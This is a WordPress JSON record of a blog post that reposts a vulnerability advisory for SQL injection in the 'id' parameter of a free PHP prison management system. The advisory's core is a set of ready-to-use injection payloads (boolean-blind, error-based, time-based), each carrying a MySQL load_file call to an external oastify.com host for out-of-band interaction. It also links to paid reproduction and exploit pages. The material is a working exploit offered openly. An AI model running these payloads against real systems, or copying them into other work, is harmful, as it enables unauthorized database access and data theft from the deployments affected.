{"id":58021,"date":"2024-07-08T18:30:47","date_gmt":"2024-07-08T15:30:47","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179399\/pms202410-sql.txt"},"modified":"2024-07-08T18:30:47","modified_gmt":"2024-07-08T15:30:47","slug":"pms-2024-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/pms-2024-1-0-sql-injection\/","title":{"rendered":"PMS 2024 1.0 SQL Injection"},"content":{"rendered":"<p>## Titles: PMS-2024 &#8211; PHP (by: oretnom23 ) v1.0 Multiple SQLi<br \/>## Author: nu11secur1ty<br \/>## Date: 07\/06\/2024<br \/>## Vendor: https:\/\/github.com\/oretnom23<br \/>## Software:<br \/>https:\/\/www.sourcecodester.com\/php\/15368\/prison-management-system-phpoop-free-source-code.html<br \/>## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n<p>## Description:<br \/>The id parameter appears to be vulnerable to SQL injection attacks. The<br \/>payload &#8216;+(select load_file(&#8216;\\\\\\\\<br \/>0z0bdh2kvtoiwpp49373y1sv7mdj1dp4sskfa3z.oastify.com\\\\bdk&#8217;))+&#8217; was submitted<br \/>in the id parameter. This payload injects a SQL sub-query that calls<br \/>MySQL&#8217;s load_file function with a UNC file path that references a URL on an<br \/>external domain. The application interacted with that domain, indicating<br \/>that the injected SQL query was executed. The attacker can get all<br \/>information from the system by using this vulnerability!<\/p>\n<p>STATUS: HIGH- Vulnerability<\/p>\n[+]Exploits:<br \/>&#8211; SQLi Multiple:<br \/>&#8220;`mysql<br \/>&#8212;<br \/>Parameter: id (POST)<br \/>Type: boolean-based blind<br \/>Title: MySQL RLIKE boolean-based blind &#8211; WHERE, HAVING, ORDER BY or<br \/>GROUP BY clause<br \/>Payload: id=1&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>0z0bdh2kvtoiwpp49373y1sv7mdj1dp4sskfa3z.oastify.com\\\\bdk&#8217;))+&#8221; RLIKE<br \/>(SELECT (CASE WHEN (4671=4671) THEN 0x31+(select<br \/>load_file(0x5c5c5c5c307a30626468326b76746f69777070343933373379317376376d646a3164703473736b6661337a2e6f6173746966792e636f6d5c5c62646b))+&#8221;<br \/>ELSE 0x28 END)) AND &#8216;apSt&#8217;=&#8217;apSt<\/p>\n<p>Type: error-based<br \/>Title: MySQL &gt;= 5.1 AND error-based &#8211; WHERE, HAVING, ORDER BY or GROUP<br \/>BY clause (EXTRACTVALUE)<br \/>Payload: id=1&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>0z0bdh2kvtoiwpp49373y1sv7mdj1dp4sskfa3z.oastify.com\\\\bdk&#8217;))+&#8221; AND<br \/>EXTRACTVALUE(4452,CONCAT(0x5c,0x71706b6271,(SELECT<br \/>(ELT(4452=4452,1))),0x7171706a71)) AND &#8216;SJhj&#8217;=&#8217;SJhj<\/p>\n<p>Type: time-based blind<br \/>Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>Payload: id=1&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>0z0bdh2kvtoiwpp49373y1sv7mdj1dp4sskfa3z.oastify.com\\\\bdk&#8217;))+&#8221; AND (SELECT<br \/>6054 FROM (SELECT(SLEEP(7)))kXfT) AND &#8216;mQNi&#8217;=&#8217;mQNi<br \/>&#8212;<br \/>&#8220;`<\/p>\n<p>## Reproduce:<br \/>[href](https:\/\/www.patreon.com\/posts\/pms-php-by-v1-0-107584859)<\/p>\n<p>## Proof and Exploit:<br \/>[href](<br \/>https:\/\/www.nu11secur1ty.com\/2024\/07\/pms-php-by-oretnom23-v10-multiple-sqli.html<br \/>)<\/p>\n<p>## Time spent:<br \/>01:37:00<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Titles: PMS-2024 &#8211; PHP (by: oretnom23 ) v1.0 Multiple SQLi## Author: nu11secur1ty## Date: 07\/06\/2024## Vendor: https:\/\/github.com\/oretnom23## Software:https:\/\/www.sourcecodester.com\/php\/15368\/prison-management-system-phpoop-free-source-code.html## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The id parameter appears to be vulnerable to SQL injection attacks. Thepayload &#8216;+(select load_file(&#8216;\\\\\\\\0z0bdh2kvtoiwpp49373y1sv7mdj1dp4sskfa3z.oastify.com\\\\bdk&#8217;))+&#8217; was submittedin the id parameter. This payload injects a SQL sub-query that callsMySQL&#8217;s load_file function with a UNC file path &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58021","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58021","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58021"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58021\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58021"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58021"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58021"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}